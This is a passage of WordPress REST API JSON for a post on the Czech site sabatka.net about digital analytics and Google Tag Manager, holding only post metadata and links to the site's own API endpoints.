[&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":981,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9,10],"tags":[],"class_list":["post-979","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-digitalni-analytika","category-gtm"],"_links":{"self":[{"href":"https:\/\/www.sabatka.net\/cs\/wp-json\/wp\/v2\/posts\/979","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sabatka.net\/cs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sabatka.net\/cs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sabatka.net\/cs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sabatka.net\/cs\/wp-json\/wp\/v2\/comments?post=979"}],"version-history":[{"count":3,"href":"https:\/\/www.sabatka.net\/cs\/wp-json\/wp\/v2\/posts\/979\/revisions"}],"predecessor-version":[{"id":983,"href":"https:\/\/www.sabatka.net\/cs\/wp-json\/wp\/v2\/posts\/979\/revisions\/983"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.sabatka.net\/cs\/wp-json\/wp\/v2\/media\/981"}],"wp:attachment":[{"href":"https:\/\/www.sabatka.net\/cs\/wp-json\/wp\/v2\/media?parent=979"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sabatka.net\/cs\/wp-json\/wp\/v2\/categories?post=979"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sabatka.net\/cs\/wp-json\/wp\/v2\/tags?post=979"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}